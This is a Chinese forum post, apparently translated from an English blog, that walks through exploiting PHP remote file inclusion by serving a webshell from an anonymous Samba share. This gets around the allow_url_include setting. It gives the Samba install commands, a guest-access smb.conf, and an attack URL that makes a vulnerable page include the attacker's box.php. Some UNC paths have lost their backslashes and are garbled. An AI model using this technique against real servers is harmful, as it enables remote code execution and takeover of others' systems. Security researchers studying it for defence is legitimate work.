使用SMB绕过PHP远程文件包含限制

Track-SSG   ·   发表于 2019-05-16 10:57:28   ·   漏洞文章
译文声明

本文是翻译文章,文章原作者mannulinux,文章来源:mannulinux.org                                
原文地址:http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html                            


译文仅供参考,具体内容表达以及含义原文为准

 

简介

在这篇文章中,我分享一下PHP程序中的远程文件包含漏洞,它经常会在文件包含中被利用。尽管PHP环境已经配置了禁止从远程的HTTP/FTP URL包含文件,但我将分享如何绕过远程文件包含的限制。

 

PHP and SMB 共享文件访问权限

在PHP配置文件中,默认将allow_url_include设置为Off,来限制PHP去加载远程的HTTP/FTP文件,这也有效的防御了远程文件包含攻击。尽管PHP设置了allow_url_includeallow_url_fopenOff,但是没有阻止下载SMB URL

 

攻击场景

当存在漏洞的PHP应用程序从攻击者控制的SMB共享机器上下载PHP webshell时,SMB共享机器应该允许其访问该文件。攻击者应该设置SMB服务器可以匿名访问。因此,一旦存在漏洞的应用程序去从SMB共享机器上下载PHP webshell时,SMB服务器不用判断任何身份,存在漏洞的程序就可以包含这个webshell。

让我们开始,首先在PHP的配置文件php.ini中禁止 “allow_url_fopen” 和”allow_url_include”,稍后配置SMB服务器可以匿名访问。一旦SMB共享设置好,就可以实施攻击。

 

PHP 环境配置

存在漏洞的机器已经设置”allow_url_fopen”和”allow_url_include” 为Off,下面的截图显示当前的PHP版本为5.5.11

在此之前,我们要去访问远程的HTTP服务器上的webshell时,确保PHP禁止了远程文件包含。

应用程序显示报错,当我从远程主机上测试包含PHP webshell时,远程文件包含没成功。

 

配置 SAMBA 服务器为匿名访问

使用以下命令去安装SAMBA服务器。

apt-get install samba

创建SMB 共享目录 (比如我的 /var/www/html/pub/)

mkdir /var/www/html/pub/

配置新创建的SMB共享目录的权限:

 chmod 0555 /var/www/html/pub/
 chown -R nobody:nogroup /var/www/html/pub/

运行下面的命令来删除SAMBA 服务器的配置文件内容。

echo > /etc/samba/smb.conf

把下面的内容写在/etc/samba/smb.conf里面。

[global]
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = indishell-lab
security = user
map to guest = bad user
name resolve order = bcast host
dns proxy = no
bind interfaces only = yes

[ica]
path = /var/www/html/pub
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555
force user = nobody

重启SAMBA服务器,让配置文件 /etc/samba/smb.conf生效。

一旦SAMBA 服务器重启成功,尝试去访问SMB共享文件,确认SAMBA 服务器没有设置访问权限。在我的测试中,SAMBA服务器的IP是192.168.0.3,在Windows 文件浏览中去访问SMB共享文件,如下图。

\192.168.0.3

 

在SMB共享中放置PHP webshell

真棒。SMB共享目录是可以访问的,ica文件是存在的。

在目录/var/www/html/pub中放置php webshell,这是SMB共享指令ica目录。

一旦在SMB共享目录中放置了PHP shell,使用windows 文件浏览访问SMB的共享目录ica.

\192.168.0.3ica

你会看到PHP shell在SMB 共享目录里面。我的是box.php

 

文件包含攻击

使用存在远程文件包含的PHP应用程序去访问这个SMB共享PHP shell的链接。

http://vulnerable_application/page.php?page=\192.168.0.3icabox.php

可以看到,存在PHP文件包含的应用程序从SMB’共享文件中获取web shell,并在机器上执行。我们已经绕过了限制并包含了托管在远程机器上的webshell。



打赏我,让我更有动力~

0 条回复   |  直到 2019-5-16 | 1087 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.